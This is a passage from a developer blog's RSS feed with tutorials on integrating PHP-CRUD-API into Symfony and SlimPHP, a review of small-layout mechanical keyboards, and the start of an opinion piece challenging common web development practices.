<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>For more information on Laravel go to:</p>
<p><a href="https://laravel.com/">https://laravel.com/</a></p>
<h3 id="other-frameworks">Other frameworks</h3>
<p>Symfony and SlimPHP (alternatives for Laravel) can be integrated in a similar
way. Read more:</p>
<ul>
<li><a href="https://tqdev.com/2019-automatic-rest-api-symfony">Automatic REST API for Symfony 4</a></li>
<li><a href="https://tqdev.com/2019-automatic-api-slimphp-4">Automatic REST API for SlimPHP 4</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automatic REST API for Symfony 4</title>
      <link>https://www.tqdev.com/2019-automatic-rest-api-symfony/</link>
      <pubDate>Sun, 21 Apr 2019 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-automatic-rest-api-symfony/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m writing a series of blog posts on how to integrate PHP-CRUD-API (a single
PHP file that adds a REST API to your database) into popular PHP web frameworks.
In this post we integrate the
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; (2k stars) with the
Symfony framework (20k stars). This is possible as they both adhere to the
PHP-FIG&amp;rsquo;s (PHP Framework Interop Group) HTTP standard PSR-7.&lt;/p&gt;
&lt;h3 id=&#34;install-symfony&#34;&gt;Install Symfony&lt;/h3&gt;
&lt;p&gt;You need to run the following commands on your Linux system:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m writing a series of blog posts on how to integrate PHP-CRUD-API (a single
PHP file that adds a REST API to your database) into popular PHP web frameworks.
In this post we integrate the
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (2k stars) with the
Symfony framework (20k stars). This is possible as they both adhere to the
PHP-FIG&rsquo;s (PHP Framework Interop Group) HTTP standard PSR-7.</p>
<h3 id="install-symfony">Install Symfony</h3>
<p>You need to run the following commands on your Linux system:</p>
<pre><code>wget https://getcomposer.org/composer.phar
php composer.phar create-project symfony/website-skeleton symfony-crud-api
cd symfony-crud-api
mv ../composer.phar .
php bin/console server:start
</code></pre>
<p>Now verify that the installation works by visiting:</p>
<pre><code>http://127.0.0.1:8000
</code></pre>
<p>If you see the Symfony welcome page, then your configuration is okay.</p>
<h3 id="install-php-crud-api">Install PHP-CRUD-API</h3>
<p>In order to add the automatic API library you need to run:</p>
<pre><code>php composer.phar require symfony/psr-http-message-bridge
php composer.phar require mevdschee/php-crud-api
</code></pre>
<p>You now add a controller file &ldquo;<code>src/Controller/ApiController.php</code>&rdquo; with the
following contents:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">namespace</span> <span class="nx">App\Controller</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Nyholm\Psr7\Factory\Psr17Factory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Bridge\PsrHttpMessage\Factory\HttpFoundationFactory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Bridge\PsrHttpMessage\Factory\PsrHttpFactory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Bundle\FrameworkBundle\Controller\AbstractController</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Component\HttpFoundation\Request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Component\HttpFoundation\Response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Symfony\Component\Routing\Annotation\Route</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Api</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Config</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">ApiController</span> <span class="k">extends</span> <span class="nx">AbstractController</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="cl"><span class="sd">     * @Route(&#34;/api{params}&#34;, name=&#34;api_route&#34;, requirements={&#34;params&#34;=&#34;.+&#34;})
</span></span></span><span class="line"><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">(</span><span class="nx">Request</span> <span class="nv">$symfonyRequest</span><span class="p">)</span><span class="o">:</span><span class="nx">Response</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// Convert the symfonyRequest to a psrRequest
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$psr17Factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Psr17Factory</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$psrHttpFactory</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PsrHttpFactory</span><span class="p">(</span><span class="nv">$psr17Factory</span><span class="p">,</span> <span class="nv">$psr17Factory</span><span class="p">,</span> <span class="nv">$psr17Factory</span><span class="p">,</span> <span class="nv">$psr17Factory</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">        <span class="nv">$psrRequest</span> <span class="o">=</span> <span class="nv">$psrHttpFactory</span><span class="o">-&gt;</span><span class="na">createRequest</span><span class="p">(</span><span class="nv">$symfonyRequest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// PHP-CRUD-API takes a psrRequest and generates a psrResponse
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;username&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;database&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;basePath&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$api</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Api</span><span class="p">(</span><span class="nv">$config</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$psrResponse</span> <span class="o">=</span> <span class="nv">$api</span><span class="o">-&gt;</span><span class="na">handle</span><span class="p">(</span><span class="nv">$psrRequest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Convert the psrResponse to a symfonyResponse
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$httpFoundationFactory</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">HttpFoundationFactory</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$symfonyResponse</span> <span class="o">=</span> <span class="nv">$httpFoundationFactory</span><span class="o">-&gt;</span><span class="na">createResponse</span><span class="p">(</span><span class="nv">$psrResponse</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$symfonyResponse</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Replace the string &ldquo;<code>php-crud-api</code>&rdquo; in the above code to match the username,
password and database of your setup (preferably reading them from environment
variables). You should see your application running at:</p>
<pre><code>http://127.0.0.1:8000/api/records/posts
</code></pre>
<p>Replace &ldquo;<code>posts</code>&rdquo; with the name of any table in your database. If everything
works as expected, then you should see the contents of the table in JSON format.</p>
<h3 id="further-reading">Further reading</h3>
<p>Symfony 4 is often used to build APIs, because it is easy to use, standard
compliant and light-weight. PHP-CRUD-API on the other hand saves you a lot of
time, as it offers you a full featured REST API for all tables in your database
without any coding (it uses reflection). Now that you can combine the two you
can have the best of both worlds. For more information about PHP-CRUD-API and
what you can do with it read the Github README at:</p>
<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>For more information on Symfony go to:</p>
<p><a href="https://symfony.com/">https://symfony.com/</a></p>
<h3 id="other-frameworks">Other frameworks</h3>
<p>Laravel and SlimPHP (alternatives for Symfony) can be integrated in a similar
way. Read more:</p>
<ul>
<li><a href="https://tqdev.com/2019-automatic-rest-api-laravel">Automatic REST API for Laravel</a></li>
<li><a href="https://tqdev.com/2019-automatic-api-slimphp-4">Automatic REST API for SlimPHP 4</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automatic REST API for SlimPHP 3</title>
      <link>https://www.tqdev.com/2019-automatic-api-slimphp-3/</link>
      <pubDate>Sat, 20 Apr 2019 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-automatic-api-slimphp-3/</guid>
      <description>&lt;p&gt;Today, about 4 years after the initial commit, the promise of &amp;ldquo;upload a single
PHP file to add a REST API to your database&amp;rdquo; is still very much alive. It is now
possible to use &lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; (2k
stars) as a library executed on an endpoint in the
&lt;a href=&#34;https://www.slimframework.com/&#34;&gt;SlimPHP 3 framework&lt;/a&gt; (10k stars). This is
possible as they both adhere to the PHP-FIG&amp;rsquo;s (PHP Framework Interop Group) HTTP
standard &lt;a href=&#34;https://www.php-fig.org/psr/psr-7/&#34;&gt;PSR-7&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;updated-slimphp-4-has-been-released&#34;&gt;&lt;span style=&#34;color:red;&#34;&gt;Updated!&lt;/span&gt; SlimPHP 4 has been released!&lt;/h3&gt;
&lt;p&gt;This tutorial is for SlimPHP 3, while SlimPHP 4 has been released. It is
recommended that you follow the updated tutorial here:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today, about 4 years after the initial commit, the promise of &ldquo;upload a single
PHP file to add a REST API to your database&rdquo; is still very much alive. It is now
possible to use <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (2k
stars) as a library executed on an endpoint in the
<a href="https://www.slimframework.com/">SlimPHP 3 framework</a> (10k stars). This is
possible as they both adhere to the PHP-FIG&rsquo;s (PHP Framework Interop Group) HTTP
standard <a href="https://www.php-fig.org/psr/psr-7/">PSR-7</a>.</p>
<h3 id="updated-slimphp-4-has-been-released"><span style="color:red;">Updated!</span> SlimPHP 4 has been released!</h3>
<p>This tutorial is for SlimPHP 3, while SlimPHP 4 has been released. It is
recommended that you follow the updated tutorial here:</p>
<p><a href="https://tqdev.com/2019-automatic-api-slimphp-4">https://tqdev.com/2019-automatic-api-slimphp-4</a></p>
<p>This post will be available for people that have installed SlimPHP 3 and want to
run this (older) version.</p>
<h3 id="install-slimphp-3">Install SlimPHP 3</h3>
<p>You need to run the following commands on your Linux system:</p>
<pre><code>wget https://getcomposer.org/composer.phar
php composer.phar create-project slim/slim-skeleton slim-crud-api ^3
cd slim-crud-api
mv ../composer.phar .
php composer.phar start
</code></pre>
<p>Now verify that the installation works by visiting:</p>
<pre><code>http://localhost:8080
</code></pre>
<p>If you see the Slim logo, then your configuration is okay.</p>
<h3 id="install-php-crud-api">Install PHP-CRUD-API</h3>
<p>In order to add the automatic API library you need to run:</p>
<pre><code>php composer.phar require mevdschee/php-crud-api
</code></pre>
<p>You now change the file &ldquo;<code>src/routes.php</code>&rdquo; to look like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\App</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\Http\Request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\Http\Response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Note these extra use statements:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Api</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Config</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="k">function</span> <span class="p">(</span><span class="nx">App</span> <span class="nv">$app</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$container</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">getContainer</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Add this handler for PHP-CRUD-API:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">any</span><span class="p">(</span><span class="s1">&#39;/api[/{params:.*}]&#39;</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="nx">Request</span> <span class="nv">$request</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">Response</span> <span class="nv">$response</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$args</span><span class="p">)</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$container</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;username&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;database&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;basePath&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$api</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Api</span><span class="p">(</span><span class="nv">$config</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$api</span><span class="o">-&gt;</span><span class="na">handle</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>Replace the string &ldquo;<code>php-crud-api</code>&rdquo; in the above code to match the username,
password and database of your setup (preferably reading them from environment
variables). You should see your application running at:</p>
<pre><code>http://localhost:8080/api/records/posts
</code></pre>
<p>Replace &ldquo;<code>posts</code>&rdquo; with the name of any table in your database. If everything
works as expected, then you should see the contents of the table in JSON format.</p>
<h3 id="further-reading">Further reading</h3>
<p>SlimPHP is often used to build APIs, because it is easy to use, standard
compliant and light-weight. PHP-CRUD-API on the other hand saves you a lot of
time, as it offers you a full featured REST API for all tables in your database
without any coding (it uses reflection). Now that you can combine the two you
can have the best of both worlds. For more information about PHP-CRUD-API and
what you can do with it read the Github README at:</p>
<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>For more information on SlimPHP go to:</p>
<p><a href="http://www.slimframework.com">http://www.slimframework.com/</a></p>
<h3 id="other-frameworks">Other frameworks</h3>
<p>Laravel and Symfony 4 (alternatives for SlimPHP) can be integrated in a similar
way. Read more:</p>
<ul>
<li><a href="https://tqdev.com/2019-automatic-rest-api-laravel">Automatic REST API for Laravel</a></li>
<li><a href="https://tqdev.com/2019-automatic-rest-api-symfony">Automatic REST API for Symfony 4</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Small form factor mechanical keyboards</title>
      <link>https://www.tqdev.com/2019-small-mechanical-keyboards/</link>
      <pubDate>Fri, 12 Apr 2019 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-small-mechanical-keyboards/</guid>
      <description>&lt;p&gt;Small form factor mechanical keyboards are popular as they are durable,
portable, comfortable and exclusive. The 4 small layouts: 80% (TKL), 75%, 65%
and 60% have pros and cons that I will discuss. I will also recommend affordable
models, one for every layout, so you can try them out without spending a
fortune.&lt;/p&gt;
&lt;p&gt;NB: This article is based on my own experience and not sponsored in any way.&lt;/p&gt;
&lt;h3 id=&#34;keyboard-size-matters&#34;&gt;Keyboard size matters&lt;/h3&gt;
&lt;p&gt;The common keyboard sizes are: 100%, 80%, 75%, 65% and 60%. The percentage is
not related to the sizes of the key: the actual (letter) keys on these keyboards
all have the same size. The percentage relates to the number of keys and their
different layouts that take up less space. Below you see these different layouts
(as geeky ASCII arts):&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Small form factor mechanical keyboards are popular as they are durable,
portable, comfortable and exclusive. The 4 small layouts: 80% (TKL), 75%, 65%
and 60% have pros and cons that I will discuss. I will also recommend affordable
models, one for every layout, so you can try them out without spending a
fortune.</p>
<p>NB: This article is based on my own experience and not sponsored in any way.</p>
<h3 id="keyboard-size-matters">Keyboard size matters</h3>
<p>The common keyboard sizes are: 100%, 80%, 75%, 65% and 60%. The percentage is
not related to the sizes of the key: the actual (letter) keys on these keyboards
all have the same size. The percentage relates to the number of keys and their
different layouts that take up less space. Below you see these different layouts
(as geeky ASCII arts):</p>
<h4 id="100---regular">100% - Regular</h4>
<pre><code>[E]   [_][_][_][_] [_][_][_][_] [_][_][_][_] [_][_][_]   *  *  *   
                                                                   
[_][1][2][3][4][5][6][7][8][9][0][_][_][Bac] [I][h][u] [_][_][_][_]
[__][q][w][e][r][t][y][u][i][o][p][_][_][__] [D][e][d] [7][8][9]| |
[___][a][s][d][f][g][h][j][k][l][_][_][____]           [4][5][6]|_|
[Shif][z][x][c][v][b][n][m][_][_][_][Shift_]    [^]    [1][2][3]| |
[__][_][__][________________][__][F][__][__] [&lt;][_][&gt;] [_0__][_]|_|
</code></pre>
<p>This is a regular full size keyboard and it has arrow keys, above that you have
the Insert (I), Delete (D), Home (h), End (e), Page Up (u) and Page Down (d).
The Escape key is located on the upper left corner of the keyboard. You can
conveniently enter numbers using the numpad on the right side of the keyboard.</p>
<pre><code>Model: Logitech G413 Carbon
Backlit: Red
Switches: Romer-G Tactile
Color: Black
Wired: USB non-detachable
Price: 75 EUR
</code></pre>
<p>This keyboard is high quality and a bit expensive, but it is a safe choice as
this is a regular layout from a premium brand. The keyboard also supports USB
pass-through which allows you to connect your mouse to your keyboard.</p>
<h4 id="80---tenkeyless">80% - Tenkeyless</h4>
<pre><code>[E]   [_][_][_][_] [_][_][_][_] [_][_][_][_] [_][_][_]
                                                      
[_][1][2][3][4][5][6][7][8][9][0][_][_][Bac] [I][h][u]
[__][q][w][e][r][t][y][u][i][o][p][_][_][__] [D][e][d]
[___][a][s][d][f][g][h][j][k][l][_][_][____]          
[Shif][z][x][c][v][b][n][m][_][_][_][Shift_]    [^]   
[__][_][__][________________][__][F][__][__] [&lt;][_][&gt;]
</code></pre>
<p>The amongst gamers popular Tenkeyless layout is often abbreviated as &ldquo;TKL&rdquo;. It
has no numpad, but other than that the layout is standard. Notice how there is
no room for Num lock, Caps lock and Scroll lock indicators (LEDs) that are
normally positioned on top of the numpad. The reason gamers prefer this layout
is that they can have the mouse closer to the keyboard and they tend not to use
the numpad anyway.</p>
<pre><code>Model: Sharkoon PureWriter TKL RGB
Backlit: RGB
Switches: Kailh Blue (low-profile)
Color: Black
Wired: micro USB detachable
Price: 50 EUR
</code></pre>
<p>This is my favorite keyboard. It is a low-profile (!) small, high quality, not
too expensive and I don&rsquo;t miss the numpad at all. Being a low-profile means that
it is remarkably flat (as the key caps are half height). This lack of height
allows you to have an easier wrist angle, but it also means that the keys travel
less.</p>
<h4 id="75---small">75% - Small</h4>
<pre><code>[Es][_][_][_][_][_][_][_][_][_][_][_][_][F][De]
[_][1][2][3][4][5][6][7][8][9][0][_][_][Bac][h]
[__][q][w][e][r][t][y][u][i][o][p][_][_][__][u]
[___][a][s][d][f][g][h][j][k][l][_][_][____][d]
[Shif][z][x][c][v][b][n][m][_][_][_][Shi][^][e]
[__][_][__][_________________][__][__][&lt;][_][&gt;]
</code></pre>
<p>Here we enter the geeky domain. The disadvantages of this layout are: a smaller
right Shift key and non-standard placement of the Fn (F), Delete (De), Home (h),
End (e), Page Up (u) and Page Down (d) keys. Notice that the Esc (Es) and Del
(De) keys are a little larger than normal. The advantages of this layout are
that it is very portable and still has all the most used keys. Notice that the
Insert, Print Screen, Scroll lock, Pause and Menu keys are missing in this
layout (compared to a TKL).</p>
<pre><code>Model: Ajazz AK33
Backlit: White
Switches: Zorro Black
Color: Black
Wired: mini USB detachable
Price: 35 EUR
</code></pre>
<p>This is an interesting keyboard, that is also available in white (blue backlit).
It is small, not too expensive, with an unusual layout that requires some
getting used to.</p>
<h4 id="65---smaller">65% - Smaller</h4>
<pre><code>[E][1][2][3][4][5][6][7][8][9][0][_][_][Bac] [I][u]
[__][q][w][e][r][t][y][u][i][o][p][_][_][__] [D][d]
[___][a][s][d][f][g][h][j][k][l][_][_][____]
[Shif][z][x][c][v][b][n][m][_][_][_][Shift_] [^]
[__][_][__][________________][Fn][__][__] [&lt;][_][&gt;]
</code></pre>
<p>This minimal layout is an alternative for the 75%. It does not have function
keys, but these are accessible via the numbers using the Fn key. Many people are
already using the Fn key for function keys as most laptops have the function
keys in &ldquo;media mode&rdquo; by default. This layout does have a full size right Shift
key and a Delete (D) key in an almost regular position. Compared to a TKL the
layout is missing the Home and End keys. You may have also noticed the missing
Backtick/Tilde key as the Escape key is typically placed on this position on a
smaller keyboard. Although this is almost a TKL it can still require some
getting used to.</p>
<pre><code>Model: Qisan Magicforce 68
Backlit: No
Switches: Outemu Brown
Color: White
Wired: mini USB detachable
Price: 35 EUR
</code></pre>
<p>This layout may be easier to get used to than the 75%. Unfortunately this
keyboard is not backlit. Nevertheless, it looks stylish, types great and is not
too loud, which makes it very suitable for use in an office!</p>
<h4 id="60---mini">60% - Mini</h4>
<pre><code>[E][1][2][3][4][5][6][7][8][9][0][_][_][Bac]
[__][q][w][e][r][t][y][u][i][o][p][_][_][__]
[___][a][s][d][f][g][h][j][k][l][_][_][____]
[Shif][z][x][c][v][b][n][m][_][_][_][Shift_]
[__][_][__][________________][__][_][__][Fn]
</code></pre>
<p>This minimal layout looks awesome and has a very high geek factor. Unfortunately
for people that are used to a regular layout this keyboard requires a lot of
practice before it feels comfortable. The arrow and function keys are missing
and so are the Delete, Home, End, Page Up and Page Down keys. The Backtick/Tilde
key replaced with the Escape (E) key. Like with the other layouts, the Fn key
gives you access to the missing keys. When enabled, the arrow keys are
positioned in the right bottom corner, between the Space bar and the Fn key.</p>
<pre><code>Model: Motospeed CK61
Backlit: RGB
Switches: Kailh Box White
Color: Black
Wired: USB-C detachable
Price: 45 EUR
</code></pre>
<p>This keyboard has a nice price and is packed with features, such as RGB, a USB-C
braided cable and it is programmable (on Windows). Unfortunately, I can&rsquo;t get
used to it&rsquo;s 60% layout, especially the switching in and out of navigational
mode (to use the arrow keys).</p>
<p>WARNING: Do NOT buy the Motospeed CK62 as it is NOT programmable
(<a href="http://www.motospeed.cc/index.php?ac=article&amp;at=read&amp;did=506">the CK61 is</a>)
and the layer switching is working very illogical
(<a href="https://voidcast.wordpress.com/2018/11/09/motospeed-ck62-do-not-buy-this-keyboard/">read this</a>).</p>
<h3 id="conclusion">Conclusion</h3>
<p>I love geeky things, such as small form factor mechanical programmable RGB
backlit keyboards. I&rsquo;ve shown you a few layouts and recommended a few products.
Maybe you&rsquo;ll also fall in love with one of these products (I certainly did). For
everyday usage I prefer my Sharkoon TKL keyboard, while on special occasions I
bring my even more portable and geeky 65% Qisan.</p>
<p>NB: The prices are including shipping and are the lowest offers I have found
online at the time of writing this article.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>7 web development practices challenged</title>
      <link>https://www.tqdev.com/2018-7-web-development-practices-challenged/</link>
      <pubDate>Sat, 06 Apr 2019 04:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-7-web-development-practices-challenged/</guid>
      <description>&lt;p&gt;There are many myths in the software business that have led to wrong best
practices. In this post I will address 7 of these best practices and explain on
which wrong assumptions they are based. I&amp;rsquo;m worried about the state of the
industry, because I feel these are serious engineering mistakes and nobody is
speaking up about them. Here we go:&lt;/p&gt;
&lt;h3 id=&#34;1-client-side-rendering&#34;&gt;1. Client side rendering&lt;/h3&gt;
&lt;p&gt;Based on the wrong assumption that client side rendering is faster than server
side rendering we frivolous apply React and Vue. Not even the load on the
servers is diminishing as escaping data for HTML or JSON is equally expensive.
Rendering HTML is faster than executing JavaScript to draw the DOM. But don&amp;rsquo;t
you need to send much more data when you are sending HTML? Well not really,
because you can send all dependencies in separate files. It was for HTTP 1.0
that web pages were in-lining CSS and script to avoid TCP connections. In HTTP
2.0 all requested files are multiplexed over the same connection. Today we can
have multiple separate files, which increases the ability to cache these files.
More cached files reduces the data transfer which makes your site faster. This
is also why resource bundles should be avoided.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There are many myths in the software business that have led to wrong best
practices. In this post I will address 7 of these best practices and explain on
which wrong assumptions they are based. I&rsquo;m worried about the state of the
industry, because I feel these are serious engineering mistakes and nobody is
speaking up about them. Here we go:</p>
<h3 id="1-client-side-rendering">1. Client side rendering</h3>
<p>Based on the wrong assumption that client side rendering is faster than server
side rendering we frivolous apply React and Vue. Not even the load on the
servers is diminishing as escaping data for HTML or JSON is equally expensive.
Rendering HTML is faster than executing JavaScript to draw the DOM. But don&rsquo;t
you need to send much more data when you are sending HTML? Well not really,
because you can send all dependencies in separate files. It was for HTTP 1.0
that web pages were in-lining CSS and script to avoid TCP connections. In HTTP
2.0 all requested files are multiplexed over the same connection. Today we can
have multiple separate files, which increases the ability to cache these files.
More cached files reduces the data transfer which makes your site faster. This
is also why resource bundles should be avoided.</p>
<h3 id="2-event-loop-vs-threading">2. Event-loop vs threading</h3>
<p>NodeJS uses event-loops to run servers. These are said to be faster when
connections need to talk to each other (avoids IPC) and for I/O intensive tasks.
The reason this is true is because you are avoiding the context switching that
multi-programming requires (for security, to isolate processes). And as long as
you are only using a single core of your machine this non-existing IPC cost is
true. But most servers in production actually have multiple processors and those
have 10 or more cores each. And even when your processes can be run multiple
times and run completely individually, you need to make sure you concurrency is
exactly right per core (a difficult load balancing task). You also need to make
sure that you are not doing any computational tasks or blocking I/O in your
threads or your servers will be very slow (as your latency will spike). The
threading model may be less performant in an optimal case, but in all realistic
situations it will be faster as it does not require meticulous tuning.</p>
<h3 id="3-micro-services-with-their-own-database-server">3. Micro-services with their own database server</h3>
<p>When you order a trip at a travel agency they have to order a seat at an
airplane and then order a hotel room and a car for you. If one of these
reservations fails you probably want to go somewhere else where they do have all
three available for you. This problem is called &ldquo;transaction support&rdquo; in
databases and it is solved quite elegantly. The goal of transactions is to have
high data consistency and no accidental booked - but not canceled - hotels
hanging around. Other consistency features that databases provide are foreign
key constraints. If you are implementing micro-services with their own databases
you have to either drop transaction and foreign key support, which will lead to
data inconsistency, or re-implement transaction and foreign key support, a very
daunting task. Both are a very bad idea, so you should stick to a single
database server when implementing micro services. Everybody who tells you
otherwise should be challenged to explain how to implement &ldquo;two phase locking&rdquo;.</p>
<h3 id="4-mongodb-as-a-primary-store">4. MongoDB as a primary store</h3>
<p>MongoDB is a NoSQL store and it is fast! It is seriously fast as long as all
your data fits in RAM. What they don&rsquo;t brag about is that it has low durability
guarantees: it only flushes data to disk every 60 seconds. You can also tune a
MySQL server to use all the RAM for indexes and data. You can even set the
&ldquo;<code>innodb_flush_log_at_trx_commit</code>&rdquo; variable to zero to flush only once per
second and avoid a flush at every commit. Suddenly the performance of MySQL is a
lot closer to the performance of MongoDB. I wrote an article titled
&ldquo;<a href="https://tqdev.com/2016-trading-durability-for-performance-without-nosql">Trading durability for performance without NoSQL</a>&rdquo;
on how to do this in various databases. Also databases without foreign keys and
table structure may seem flexible, but they come at the cost of inconsistent
data that piles up in your database. I would rather have less flexibility and
more consistent data in my primary store. But if you do not care about the
quality of your data, then MongoDB may be great choice.</p>
<h3 id="5-database-technology-independence">5. Database technology independence</h3>
